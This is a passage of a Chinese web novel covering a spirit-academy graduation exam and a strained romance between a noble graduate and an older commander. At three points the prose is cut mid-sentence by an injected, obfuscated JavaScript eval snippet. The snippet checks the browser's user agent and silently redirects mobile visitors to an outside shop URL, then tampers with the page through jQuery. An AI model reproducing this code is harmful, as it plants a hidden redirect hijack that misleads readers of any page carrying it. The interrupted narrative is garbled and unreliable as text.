“她是会的,”梅见蹊并不否认,“但绝不是现在。寻月十五岁出世,在灵师的世界里,她现在还太过幼稚,理解不了宗门之首意味着什么,也无法全然理解阿凛所面对的一切——你试想,若阿凛对你所说的那些,你拿去告诉其他任何世族子弟,如慕丹青,如枫若恒,他们也未能全然明白他之难,他之苦,你又要叫一个平民家庭的孩子如何理解?” 狄乐凰否认不了他的话,现在的巫寻月,的确无力与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674304|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司城凛承担这一切。 “阿凛也是这么想的,”梅见蹊语气透着漫不经心,却是十分笃定,“他那个人,本就喜欢什么都揽自己身上,对迦染也是一样。他当然更想把自己的责任处理好了,才能拥有属于他自己的生活啊……乐凰,他是司城凛。” 狄乐凰将脸上的泪水抹掉,才轻轻说:“我知道,我都知道,我只是……太难受了,不知道该怎么办……” 很快就到了毕业大考的日子。毕业大考每年于五月举行,出发前,会由梅校长在观星台主持毕业生送行仪式,而他们也将直接从这里出发,御风出山,开始第一考——遁术。 毕业生们要以遁术飞跃数十里的路程,到达沉梦谷,在那里迎来他们的终极大考。 每年的送行仪式都有大量学生前去观摩,巫寻月入学第一年,自是不会错过。而今年,有狄家郡主这样的重磅人物参与毕业大考,围观氛围更是空前盛况。 “上一次场面如此浩大,还是司城世子毕业的那年。”慕丹青说。此时,她已与巫寻月并肩坐在离观星台不远处的古树枝头上了。 巫寻月一惊,问:“你竟还和司城世子同期在校?” “拜托,司城世子大不了我几岁好不好,我一年级的时候他七年级。” 毕业生们陆陆续续到场,突然,上山处传来热浪般的欢呼,两人就知道一定是狄乐凰来了。果然,很快树梢间就出现了她一袭深红色劲装的绰约英姿——这是专为毕业生准备的礼服,长袍上以压花绣有梅家乌金鹍图腾,狄乐凰执佩剑入场,那是她的武器。 同学们拥在两侧,夹道欢迎,目送她进了内场。之后等待校长的时间里,慕丹青给巫寻月介绍一些本届毕业生中的其他强劲人物,巫寻月特意注意了几位强攻系,那些才是狄乐凰此次真正的对手——可看起来的确个个都不好对付。 巫寻月问:“终极大考又是怎么考呢?” 慕丹青说:“沉梦谷栖息着高级灵兽问心尊者,在长隐洲内灵识仅次于上古灵兽,尊者与梅家世代为友,每年毕业生的终极大考便是由他来考核。” “——啊?”巫寻月惊恐万状地看着她,“毕业生?跟——仅此于上古灵兽的高级灵兽?” “小笨蛋,怎么可能让毕业生去打问心尊者,这不是拿竹签打大象吗?”慕丹青白了她一眼,“问心尊者的术法可多着呢,用于考验毕业生的核心术法是问心梦境,至于具体的我也不知道,我到了六年级才会有模拟考。” 闲聊间,梅校长已从下方缓缓走上观星台,这不是巫寻月第一次见到他,却是第一次见他穿得如此正式。梅宴晷同样是一袭深红色长袍,浅金色日辉映照间,织金云纹暗涌,好似神都学宫千年承袭延绵不绝,乌金鹍图腾以盘金绣与玄黑丝线交织而出,随着校长每次行动而隐现于云间,暗金流光,威严傲立。 梅宴晷慈眉善目,却又不失神仪,如同神都学宫的定海神针,乃至整个灵族的定海神针,好像只要有他在,世间就会永远如此一派祥和。 校长就位之后,却好像还在等什么人。这时慕丹青才想起来告诉巫寻月:“我都忘了说了,每年毕业生大考皆由十一令中一位座首坐镇,全程陪同毕业生,以保万无一失,去年是由四令封座枢明镜监考,今年可不知道会是谁呢。” 巫寻月大吃一惊:“竟还有此事?” 慕丹青兴冲冲道:“要是我伯父就好了,我可想知道乐凰姐姐的表现了,若是伯父监考,等回到家中我就可以问他了。” 巫寻月心中隐隐不安,是谁都好,可千万,别是他…… 会场充斥着压低的纷纷议论,不一会儿,人群中突然翻起一阵高涨的欢呼热潮,其余重要人物皆已入席,剩下的,就只有监考官这一重磅人物了。 巫寻月紧绷着心,先是看向狄乐凰,见她同样紧张,迟迟没有回头,直到那欢呼声越来越近,她才不得不回头看去—— 是言萧鹤。 29. 第 29 章 29. 巫寻月重重地倒吸一口凉气,不由得狠掐了一把慕丹青的胳膊,吓得她惊叫道:“你干嘛!疼!” 巫寻月看见,狄乐凰的脸色也明显一变,迅速地背过身去,有些无措起来。 而言萧鹤的目光,始终都在她身上,在她转身之后,更是灼热不离。 巫寻月忍不住咬牙暗骂:“怎么会是他!” “许是言封座刚刚升任,辈分又不高,做毕业生监考官这样轻松的活儿就落他身上了,”慕丹青说完,才觉察出她语气不对,“你怎么了?听起来是对言封座有意见?” “……”巫寻月无语死了。 言萧鹤步入高台,与梅校长站在了一道。梅校长十分热情,以灵力传音,让他的嗓音清晰地回荡在整个观星台上,介绍道:“让我们欢迎今年毕业大考的监考官——八部令,言封座。” 全场爆发欢呼,等声音渐止,言萧鹤淡淡地开了口:“我是言萧鹤。” 没下文了。 梅校长也知道他话少,很快接过了话,作送行致辞。自然开头先对言萧鹤作了简短介绍,说他今年刚升任八令座首,强攻系,擅快攻,出剑极快,攻击类控术造诣登峰造极,用法和攻势都有其自创心得,梅校长自己也难破其一二。 最后,梅校长一向以幽默结尾:“想要投入八部令的同学,可得好好表现了。” 引来现场一阵欢笑,唯有真的想入八部令的毕业生暗自捏了把汗。 本届毕业生一共五百一十三人,达九重灵者有十二人,控制系六位,强攻系五位,医疗系一位——自然,狄乐凰也包括在那控制系六人之中。 截至今日,未有真灵境毕业生。自然,封号灵师的岁数并非连号,神都学宫也就并非年年都有真灵境毕业生。 出发之前,言萧鹤难得说了句话:“待你们出发后,本座会一路随行,你们所有人的表现,皆在本座掌控之中,确保你们安全完成考试。” 众人鼓掌之时,狄乐凰面无表情,一言不发。 五百一十三名毕业生排成队列,准备出发。九重灵为首发阵营,狄乐凰站在最中间,和其余人一道徐徐步向悬崖之滨。 在学弟学妹们的欢送和鼓励之中,慕丹青意气风发地道:“待后年我毕业大考之时,最前排的首发里,一定有我一席之地。” 见巫寻月不吭声,慕丹青拿手肘戳了戳她:“喂?” 巫寻月稍稍回神,可目光未从狄乐凰身上挪开,寥寥应付道:“好。” 由梅校长一声令下,十二位毕业生几乎是同时纵身一跃,消失在了山间茫茫云海之中。后续一批批学生跟上,待毕业生全部出发,众人将视线移向言萧鹤,只见未及眨眼,他人就不见了。 为之震撼的多半是一年级学生:“我靠——凭空消失了!”“怎会如此!这就是封号灵师的遁术吗?”“我刚才没眨眼啊!他真就这么直接消失了!” 而其余年级的同学年年都有一次机会瞻仰此景,反应已不甚强烈,只是自然也要感叹:“果然封号灵师都是这个水平啊……” 慕丹青觉得巫寻月今日过于安静了,又凑过来瞧她:“你怎么回事?这应该也是你第一次见到封号灵师的遁术吧?难道一点都不震撼?” “呃……”巫寻月一时愣怔。虽说她此前已在言萧鹤与狄乐凰幽会当夜见过,可此刻,她想的却是另一个人。 ——那个人的遁术,也是如此出神入化。虽然当时并不知道他此等功力是何级别,可随着巫寻月深入灵师世界,每一次她见到高手,都会下意识与那个人作对比,所以,她得到了一个惊人的结论——那个人的遁术,在破灵境之上。 巫寻月不得不再问这个问题:“丹青,你说有没有一种可能,有一个人他不是封号灵师,却有封号灵师级别的遁术呢?” “你是想说你心上人啊?”知她莫若慕丹青,还真认真替她想了,“或许有,但一定是名望极高的高级灵师,至少在破灵境级别,据我所知……言封座的八部令就挺喜欢招收遁术强者,打速战,自然需要极强的遁术功力,或许若有机会,你可往八部令打听打听。” 巫寻月没作声。慕丹青不知那个人是控制系,可巫寻月却没有忘记,一个控制系破灵境,且是遁术高手,若真有此人在八部令这样的强攻系队伍,必定一问便知。 观星台的人陆续散了,毕业大考会持续一天,若是顺利,他们午前便能返程回校。 心里牵挂着狄乐凰,巫寻月这一天怎么都无法专心,书看不进去,练功也无法集中精神运灵,去药园给草药施肥浇水,浇着浇着,还把一株草给淹死了。 “真不知道你在担心什么,”慕丹青很困惑,“毕业大考自是要保证学生们的安全,且有言封座压阵,无人敢造次,乐凰姐姐在本届中实力数一数二,断也没有落后的可能。” 巫寻月无奈一笑,什么也不能说。若是狄乐凰真的顺利,那么……大概会是人未归而喜讯先行,她双修成功的消息会如重磅炸弹一般丢向神都学宫。 巫寻月猜得没错,大概一个时辰之后,首批毕业生也该陆续考完,消息就传了回来。 ——“天啊天啊天啊!太震惊了!你们猜比狄郡主拿第一名更震惊的消息是什么!是狄郡主竟然是双修系灵师!天啊她竟然是双修系灵师!” 此消息如巨石落水,让整个学校都掀起了波澜,很快就已人尽皆知。 “怎么可能?狄郡主一向是用控制系术法,她几时将强攻术法也修炼至九重灵的?” “我记得不是传言她的灵脉是完全的控制系之相吗?四平八稳的,无论如何都该一举冲击真灵境,怎会是双修系……” “可消息说狄郡主使用的强攻术法超越了另两位强攻系,单论强攻系也排在第三呢……” 大家按捺不住,纷纷找狄乐凰的老师们求证,可老师们也是一脸惊奇:“这太突然了,明明她离校前还未有此倾向……” 老师之间也在讨论:“乐凰离校前强攻术法的确只有七重灵功力,不到半年竟就突破了九重灵,她究竟是如何做到的?” “这简直实难相信,此时修炼强攻术法会破坏她原有灵脉,她究竟在想什么呢……” 为了第一时间获知真假,许多人纷纷跑到断崖处相迎,有人一等便是半个时辰。 巫寻月起先是不敢去,她怕自己像上次那样,见到狄乐凰就哭。还是慕丹青过来拉走她,说:“知道你坐不住了,既如此担心,还是去等着她吧。” 两人就一同前去了,这一次,她们没站在远处的高台,而是抢到了最前面。 载着毕业生归来的,是梅家祥瑞乌金鹍。当乌金鹍的七彩长羽如彩虹般于天际线绽放时,整个断崖都沸腾了起来。 巫寻月也震撼了,这是她第一次见到乌金鹍本尊:“那……那是乌金鹍吗?” “没错,”慕丹青说,“这是校长对于毕业生至高的赞赏,毕业大考之后的毕业生,皆由乌金鹍载着送回学校。” 乌金鹍并非梅家饲养的坐骑类灵兽,它如同狄家的白泽,是梅家的镇宅之兽,是全族象征。梅家每年请出乌金鹍送毕业生返校,是对每一位毕业生的无上厚爱。 巫寻月叹为观止,难掩热泪盈眶:“我现在终于明白,为什么每一个毕业生都那么感激校长,那么怀念学校了……” 这是第一批返校的毕业生,狄乐凰自然也在其中。当她与其他十一位同学一同走出车驾时,所有人一哄而上,迫不及待地发问:“学姐!听说你是双修系,是真的吗?” “学姐你真的发挥了九重灵的强攻术法?你不是一直都是控制系吗?” “学姐你是什么时候修习的强攻术法?这也太厉害了……” 看其他十一位如出一辙的难以置信,就知此事不假了。想必他们已在路上问过她,狄乐凰满是倦意,并未多说,还是老师上前打发了他们:“好了好了,学姐学长们考了一天很累了,考试结果学校都会公布的,都散了吧。” 狄乐凰继续往前走,没出几步,就看见了站在最前排的巫寻月。 两人相视无言,眼含热泪,突然下一秒,她们默契地同时向前一步,还是狄乐凰先跑向她,一把将她抱紧,嚎啕大哭起来。 包括慕丹青在内,所有人都目瞪口呆。 “没事了没事了……”巫寻月将狄乐凰抱紧,轻抚她的背,“你成功了,真是难为你了……” 狄乐凰什么也没说,就只是抱着她,越哭越凶。她太累了,太累太累了。 巫寻月四处搜寻言萧鹤的身影,而后才意识到,他应当还在沉梦谷,等待所有毕业生都考完。 巫寻月小声问:“……他看见了吗?” 狄乐凰点点头,什么也说不出。 “那就好,”巫寻月声音里带着哭腔,“他会明白的。” 对她们来说,今日便算是落下帷幕了,之后言萧鹤即便再到学校来,也是直接到校长书房,一番交接后,就直接离开了。 等狄乐凰休息了一段时间,晚些时候,巫寻月带着她磨好的那一包蚀愈花粉前去找她。到了宿舍一问才知,她并不在,十二位毕业生按捺不住,找了间教室协商志愿去了。 巫寻月按照她舍友所指寻到了地方,近了门口,就听到一个男生在发问:“你明明是控制系灵师,为何要选八部令?八部令主速战,与你的术法并不相合。” 紧接着是狄乐凰的声音:“请你注意,我是双修系灵师,我想选什么就选什么,你的排名在我之后,我已选定八部令,望你再慎重考虑。” 狄乐凰跟巫寻月说过,她这届的九重灵中,有六位控制系,五位强攻系,一位医疗系。而十一令中有六令主控制系,四令主强攻系,只有十部令为医疗系,自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16679201|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那医疗系九重灵与他们不冲突,而除了已打点好要去一部令的枫家大公子,另外那四位强攻系原也能各选其一,可不冲突。 而狄乐凰双修系的出现,打破了这一平衡。 虽说并没有明文规定,哪一令只收什么系的,且也不是整个队伍内都是同一类系的灵师,主强攻的队伍自然也有部分控制系,反之亦然。然而,人总倾向于待在更合群的地方,且他们又是优秀毕业生,自是想去舒适区大有作为。 至于为什么在校时是强攻系学生略多于控制系,到了十一令中却是相反的局面。慕丹青说过,这是因为,大部分封号灵师皆为控制系,那么,十一令座首自然更多是控制系了,座首是何类系,部众便会纷纷跟随,自成一派。 因此,虽然控制系的队伍多些,平均人数却比强攻系队伍要少,每年强攻系毕业生的竞争都要比控制系激烈。 那男生听了狄乐凰的话,立即就说:“可我早就将八部令定为志愿目标,所修习术法皆投言封座所好,若你选了,那我……” 一旁有同学看不下去:“行了,你都说自己早已定了目标,又专门修习此方向,那怎么表现得还不如狄乐凰一个控制系的?” 男生似是无话可说,迟了一阵,仍不服:“她……她是狄家郡主,大有修炼秘法可短期提升,我们只能实打实自己练……” 狄乐凰严词厉色地打断了他:“我是狄家郡主,可我也是实打实自己修炼上的九重灵,付出不比你少,这些是我一年来修炼所受的伤,你要不要也掀开袖子比比?” 对面的男生彻底沉默了。只听见一位女生倒吸凉气,说:“乐凰,你的手……” 狄乐凰并未在意,不咸不淡地道:“若有谁还觉得我不过是倚仗家里,无真才实学,大可在此与我比比。” 无人再置喙。一位男生出来打圆场:“好了,既然狄乐凰选了八部令,你排名在她之后,便另做打算吧。” 天听阁有规定,十一令每年各自只可接受一位优秀毕业生,若出现真灵级毕业生则不在限制范围内。自然除了十一令还有天听阁、五大宗族等就业去向,若是执意去十一令,那可放弃优秀毕业生资格,与普通毕业生一同听从分配,驻外五年后回都。 而毕业生中,强攻系的综合表现会略低于控制系,所以综合排名垫后,这也是一贯如此。 慕丹青告诉过巫寻月,在控制系队伍之中,最抢手的自然是一、三、九部令,每年前三名基本落入其中,一部令是因为驻守神都,三部令聚集了最强控制系灵师,而九部令——众所周知,司城家有钱,那条件是相当的好。 剩下的五、六、十一,也都不错,十一令不养闲人。 事情就这么定下来了,他们该说的也都说完了,门口陆续有人走了出来。 巫寻月一见到狄乐凰就拥上去:“学姐——” 狄乐凰看见她,笑了起来:“你怎么来了?” 两人牵手一道往一旁走,巫寻月说:“去你宿舍寻你不见,听你舍友说你来协商志愿了。” “你都听见了,”待巫寻月点头,狄乐凰浅笑一声,神态间世族傲气与生俱来,“总有人以为我狄家不任十一令几千年,后世子女战力该是不济,他们想错了——五大宗族便是五大宗族,始终为灵族之首,灵师表率。” 巫寻月沉了口气,说:“可我担心……言封座说过,即便你真的选了八部令,他也会拒绝。” “先不管他,若他不要我,我就去八部令大闹一场。”狄乐凰说着,调皮地笑了起来。 巫寻月同她一起笑,之后将那包药粉拿了出来:“对了,之前一直要给你的蚀愈花,想着你在吃别的药,恐会相冲,就先放着,现在该给你了。” 狄乐凰停下来,奇道:“蚀愈花?” “它长在山谷深处的温泉眼旁,罕见开一朵,我也是找了很久,只能找到这么一朵,但其药效强劲,上次我看你伤口不大,该是够了。” 狄乐凰动容地望着她:“寻月……” “好了好了,可别矫情了,今天可是哭够了,”巫寻月冲她嘟嘴卖乖,“就当送你的毕业礼物,祝贺你修炼功成,不日就要实现心中所愿了。” 狄乐凰将那药包收进手心里,神色黯淡:“但愿吧。” 巫寻月没再说什么,而狄乐凰,她心头揪紧,知道是该到告知她的时候了——可她不忍啊,要她怎么忍心,在她满心欢喜给她送来灵药时,给她一个落空的谎言? 狄乐凰闭了闭眼,咬咬牙,好半晌才唤出口:“寻月……” “嗯?” 狄乐凰缓缓抬头,就撞见巫寻月一双期待的眼睛,心弦如断了线,狠狠地疼。她克制着声线,慢慢开了口:“我……此次去边境,见到了司城世子……” 此言一出,巫寻月屏住了呼吸,全神贯注地看着她:“那……世子如何说的?” 30. 第 30 章 30. 狄乐凰心一狠,决定一口气说完:“他说……那罡灵坠,他的确多年前送人了……记不清送给了谁,像这样的灵器,司城家有很多……” 狄乐凰看到,巫寻月的笑容僵在脸上,仿佛一瞬跌入悬崖,但她还是强撑着一笑:“好,没事,谢谢学姐了。” 两人间就此无话,巫寻月全无心思,而狄乐凰,羞愧难当。狄乐凰沉默地握着她的手,想给她一些力量,哪怕只有一点也好。 巫寻月察觉到了她的愧疚——比她想象的要深的多,立刻就回了回神,反过来安慰她:“学姐,我真的没事,你受了这么多苦,还记着我的事,我心里万分感激。” 狄乐凰叹气道:“寻月,你也受苦了。” “其实也还好啦,”巫寻月由衷地说,“我来神都,是因为他,也不全是为了他,我从前听说神都女子人人皆有自己的向往,人人皆受敬重,所以,我也想成为我想成为的人,我想走出家乡看一看。” “寻月……你一定会成为你想成为的人的,你是灵族史上少有的天才。” 听她这么说,巫寻月欢喜地笑了起来:“学姐你知道吗,自我来神都,许多人都对我说过这话,而我在家乡时去学堂,却因是女子而受冷落。所以,能来神都,我真的很开心,即便我不能那么快找到他,或者,他不想我那么快找到他,那也没关系,在神都我认识了丹青,认识了你,认识了许许多多好同学,就算还找不到他,我在这里一样过得很好。” 狄乐凰双眼通红,忍着眼泪,说:“寻月,你能这么想就好,他……那个人,也会是这样想的,他一定希望在他还未出现的日子里,你能过得开心,能越来越好。” “是啊学姐,其实我知道,他很厉害,他一定是一个很厉害很厉害的灵师。”听到此处,狄乐凰心头一颤,巫寻月继续说下去:“而我现在才刚刚开始学灵术,即便知道他是谁,那也没有意义——你说对不对?” “并非没有意义……” “好啦学姐,”巫寻月压了压她的手,又道,“我明白你的意思,我不会多想,我会继续过好我的日子,好好学习,或许慢慢有一天,他就出现了,又或者慢慢有一天——他就不再重要了呢。” 巫寻月在笑,心,却在疼。 狄乐凰明白,所以,也未做声。良久,她才抬头,真挚地注视着巫寻月,说:“寻月,世子他……他还说,这灵器有灵,会将你导向正确的方向,若有缘,你们……会再见。” ——你们,会再见。未说是哪个“你们”。 “好,”巫寻月双眼泛着泪光,比漫天繁星都要璀璨,她弯起嘴角,又说了一声,“好。” 一周之后,毕业大考的成绩全部公布了。 狄乐凰的综合成绩排在第二,虽她是罕见的双修系,但修炼强攻术法时间过短,灵压尚不够稳定,且因突击修习双修,均衡性有所不足,控制系术法威力稍受影响,综合考虑之下,排在第二。 今年的状元郎依旧是控制系,按照他的志愿,花落三部令。其余人的志愿选择没什么悬念,只有狄乐凰选投八部令这件事,令人咂舌。听说,狄家主母也前来面见梅校长询问缘由,却未得答案——梅见蹊?早就躲出去避风头了。 而比狄乐凰选投八部令这件事更震惊的,是狄乐凰被八部令拒绝了。 是,优秀毕业生可自行选投十一令,而十一令座首皆有权拒绝,其余毕业生则是完全服从分配,且需先驻外五年,方可回都。 消息传回来,全校哗然,唯一暗自幸灾乐祸的大概是那位被狄乐凰比下去的强攻系男生,可他的志愿早已投定,天听阁也并未拒绝,已无转圜余地。 狄乐凰被拒绝的第二天,八部令府迎来了一位不速之客。 八部令坐落在灵谕大街靠东边的位置,与位于西城的狄府方向相反。因此,在上午澄明的日光之下,一道华服倩影踏风穿行于大半条灵谕大街,浅杏色雾纱广袖直领襦裙极其轻薄,似风中烟雾,盈盈漾开。 她身上首饰诸多,最显著的便是发髻上的金累丝珊瑚珍珠步摇,制式极庄重华贵,一看便知是顶级贵女所用,颈间一道粉樱短璎珞,烧蓝压襟于裙裾间撞色显现,更是有数不清的钗环手钏点缀,奢华之至,目不暇接。 今日原预备在府中迎接各府千金到访,恭贺她以优秀毕业生顺利毕业,作为狄家郡主,着装派头自是要艳压群芳。 可仆下正为她梳妆,钗笄还未插全,就传来了八部令拒绝了她的消息——确切来说,是言萧鹤拒绝了她,无论从哪个意义上。 狄乐凰一怒之下,夺门而出,都来不及御马,腾空消失在了狄府院墙后。 狄乐凰顺利进入了八部令府,她人来得太快,言萧鹤还未作任何指示。可,她被拒绝的消息自是传遍了八令上下,众人皆是惊愕不解——谁不想和狄郡主做同僚啊!封座大人这是在做什么! 虽不拦她入内,可见她来势汹汹,想必是来找封座大人兴师问罪的,部众一路阻拦,好言相劝:“郡主,烦请先让我等去通报一声!”“郡主您不能就这样进去!”“郡主,我等需先向封座大人通禀……” 狄乐凰是来过八部令府的,就在她缠着言萧鹤带她修炼的那段时光里,那时他还是副座,她也只敢悄悄从侧门来找他。 而今天,她自正门长驱直入,直指座首书房。 穿过前院,在长长的连廊尽头,站着八令副座霜泉。狄乐凰见到他,稍稍停下脚步,周围众人行礼道:“副座大人。” 霜泉立若冰霜,抬声道:“你们都下去吧。” “是!” 众人退后,偌大的院子只剩霜泉与狄乐凰相对,狄乐凰毫不犹豫,提步径直朝前。霜泉当即出言:“郡主,请留步。” 霜泉没想到她全然置若罔闻,加重了语气:“郡主,请留步!” 狄乐凰已快来到近前,霜泉向她倾身行礼:“郡主,若再往前,便得罪了!” 狄乐凰停了下来,冷冷地问:“谁让你来的?” 霜泉回:“封座大人有令,封座大人所拒毕业生志愿之事,大人自会向神都学宫、天听阁、狄宗主释明,此事已定,不会改悔,郡主请回!” 狄乐凰冷笑一声,继续向前。 霜泉急看向她,见她人已掠过身侧,以迅疾之势挡在了她面前:“郡主!不可无礼!”“郡主,封座大人有令,不见您,不可擅闯!”“郡主若执意往前,霜泉得罪了!” 话音未落,霜泉出左手猛然向她颈间一击,一来一回疾如闪电,狄乐凰浑身一震,双眼一闭,向后栽倒——一道暗紫色广袖长袍将她腰肢托起,她人就这样落进了言萧鹤的怀里。 言萧鹤先看了昏厥的狄乐凰一眼,下一秒,疾瞪向霜泉,尽是怒色:“谁让你打她了?!” 霜泉吓得大惊失色,“咚——”一个大动作单膝给他跪了:“对不起封座大人!属下失礼了!” 言萧鹤一言不发地将狄乐凰横抱起来,双眼始终未离开她的脸庞,轻语道:“备好车马,停在后院门口,我之后过去。” “是!” 言萧鹤抱着狄乐凰绕过霜泉,霜泉目送他的背影,又听到一句:“不必等我。” “……是!”任霜泉再是个直男,也该听明白了。听着脚步声远去,霜泉才敢稍稍抬头看了一眼——简直是惊天八卦啊! 言萧鹤抱着狄乐凰穿过中庭,回到了自己的书房。他迈步入门,灵流涌动之下,门在身后自动合上。世界静了下来,只剩他与她二人。 言萧鹤在榻上落座,未放开她,就这么低着头,好好细看她的面容。她太美了,美到他看了一眼便醉了。可她憔悴了太多,美而破碎,他痛心疾首。然后他端起她的手,见到了那上面的累累伤痕,他低头轻吻她的手,却觉得心变得更疼。他再看向她,离得太近,呼出的气息轻抚她眉眼,让她忍不住动了动睫毛。 言萧鹤低哑地动了唇:“你醒了。” 好一会儿,狄乐凰才缓缓睁开双眼,就这么近近地、凄凄地望向他,道:“是不是只有我看不见的时候,你才能不假装?” 言萧鹤一动不动,说不出话。 狄乐凰抬手举到他面前,说:“你看见了,可你还是要拒绝我。” 言萧鹤眼底露出一丝无措,声线微颤道:“为什么要这么做?” 狄乐凰眸光一动,已然挂泪:“……你问我为什么?你还要问我为什么?”他不作声,她按捺不住继续道:“我才要问你为什么,为什么要这样对我!” 言萧鹤无言地别开了脸,环在她背后的手也随之放开,这突如其来的落空感令她怕极了,她向前紧抱住他,泪已落下:“你别放开我好不好?为什么?为什么啊?我们在一起的日子你一点都不想要了吗?明明我们都已经快要……” 言萧鹤厉声打断了她:“若是那时我当真没有克制住,我此刻才是真的后悔。” 狄乐凰猛然一震,惊惧地抬头看向他,质问:“你什么意思?” 言萧鹤无力地闭了闭眼,面带痛苦地说:“乐凰,你年纪太小,还不能对自己的行为负责。” 她当即大吼:“我不小了!我已年满十八,许多女子十八岁已经婚嫁了!” “可你知我如今是何年纪?” 狄乐凰双目嗜泪,凄凄地看着他:“那又如何?你之前说,我们之间的岁数差距比我的年纪都要大,现在不是了,我今年十八,我们的岁数差距就比我的年纪小了——你知道我在说什么吗?我长大了封座大人,我已经是一个成年人了,和你一样的成年人!” 言萧鹤立刻就说:“那也不足够让你保证自己将来不会后悔。” “啪——”一声,狄乐凰起身的瞬间,一个耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16684412|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光甩在言萧鹤脸上。 言萧鹤保持着侧脸,闭着眼,一言不发。 才过一秒,她的心就疼了,向前捧起他的脸,泣不成声:“对不起,对不起,我……” “是我该打,”言萧鹤开了口,“可你打我也好,怨我也好,恨我也好,都比你将来后悔要好。” 狄乐凰望着他,忽然苦笑一下,声音里布满幽怨:“言萧鹤,你凭什么……凭什么质疑我?你明明就是在找借口,明明在边境之时,你还不知道我是狄家郡主时,你不是这样的,等回了神都一切都变了——你明明就是不敢承担宗门压力!若我不是十八,而是二十八,你可还要找什么借口?” “并非如此,”这一次,言萧鹤答得很快,他起身向前一步,还是没有面对她,“若你不是狄家郡主,我一样如此,当初将你带到边境卫所,我想尽早离开就是因为……” 狄乐凰当即掐断了他的话:“——所以,你从那个时候就开始喜欢我了是吗?” 言萧鹤一怔,不敢再言。 狄乐凰绕到他身前,他却如之前一般别开脸回避她,她质问道:“你说话啊……”他不做声,她拉扯着他的外袍,一拳又一拳砸在他心上:“你说话啊……你从那个时候起就喜欢我了对不对?对不对?” 言萧鹤心底塌陷,根本说不出任何伤她的话来:“乐凰,我……” 像上次那样,狄乐凰起身环抱住他,用吻将他的话堵住了。 本能比大脑先行,言萧鹤回应了她。待他惊觉,猛然睁眼,见到的却是她近在咫尺任他深吻的倾城之容……这要他怎么推开她? 言萧鹤完全不知所措,他回应得少了,她便更用力地抱紧他,以温香软玉蚕食他的心智,让他根本无法思考。 言萧鹤没推开她,可也竭力克制自己,不给她热烈的回应。他要怎么做?他只要展露一点点温柔,她便如抓到救命稻草一般看到了希望,不顾一切全力向他奔来。 而她一主动,他根本抗拒不了。 言萧鹤抓着自己最后一丝理智,将狄乐凰推开了,他立刻背身过去,痛苦地说:“不可……乐凰不可!” “你敢不敢看着我的眼睛说。” 她的声音从身后传来,质问,却是哭腔。他纹丝不动,听着她破碎的声线说:“你敢不敢看着我的眼睛,说你不爱我,不要我,不愿此生与我有任何瓜葛。” ——他怎么可能说得出口。 很快,狄乐凰就扑到了他身前,揪着他的外袍质问道:“你说话啊,你为什么不敢说?只要你说了,我马上就走,再也不会来纠缠你……你说话啊——” 狄乐凰话音戛然而止,他手指之下,她人被定住,就这样瞪着眼睛怔怔地倒在了他怀里。 言萧鹤单手将她抱紧,她的脸庞在他颈窝处,看不见他的眼睛,只听见了他生冷的声音:“我不会改变我的想法,我们……没有可能。” 言萧鹤沉了口气,再开口时,语气变得万分疏离:“从今天起我会下令,若你再来,将你驱之门外,封印之后送回狄府,若你不想你父亲难堪,也该……” 他薄唇之下,是她绝望的神色。 言萧鹤攥紧拳,继续道:“也不要再来我家中,如若不然,我也会……告知你父亲前去接你。” “言萧鹤,”狄乐凰咬牙切齿,“你好狠的心。” 言萧鹤仰了仰脖子,将眼睛闭上,他呼吸沉重,沉默了很久很久,才如痛下决心一般,动了唇:“……过往种种,皆是错误。” 她问:“是你错了,还是我错了?” “……我们都错了。” 她一声苦笑,泪如雨下。 言萧鹤咬了咬牙,逼自己说完最后一句:“你我今后,不要再见,愿你此生,安康顺遂……” 他没说完,无论如何,他都没有办法让自己说出最后那句——另觅良人。 言萧鹤将狄乐凰打横抱起,转身走向侧门。 狄乐凰动弹不得,满脸泪水,绝望地喊:“言萧鹤,你放我下来……放我下来……” 可惜这段路太短,不够他好好将与她的相识相知……和相爱再回想一遍,就这样猝不及防地,走到了尽头。 狄乐凰一路不停哭喊,言萧鹤置若罔闻,一步步将她抱到了等待在侧门外的马车里。他在她幽怨的眼神之中,一言不发地扶她躺好,最后握到她手心的伤口,他一怔,终是没忍住,打开来看了看。 言萧鹤的嘴角微不可察地动了动,是痛得抽搐。她为他做了什么,他又怎会不知呢。 他没敢再看她最后一眼,背着她的目光,用尽最后的温柔:“你平安回到家中,术法就会解开,我自会知道。” 狄乐凰生不如死地看着他,没有力气再说任何话了。 言萧鹤转了身,在她看不见的地方,留下最后一句:“都忘了吧……” 31. 第 31 章 31. 狄乐凰被八部令拒收之事,闹得沸沸扬扬,人尽皆知。 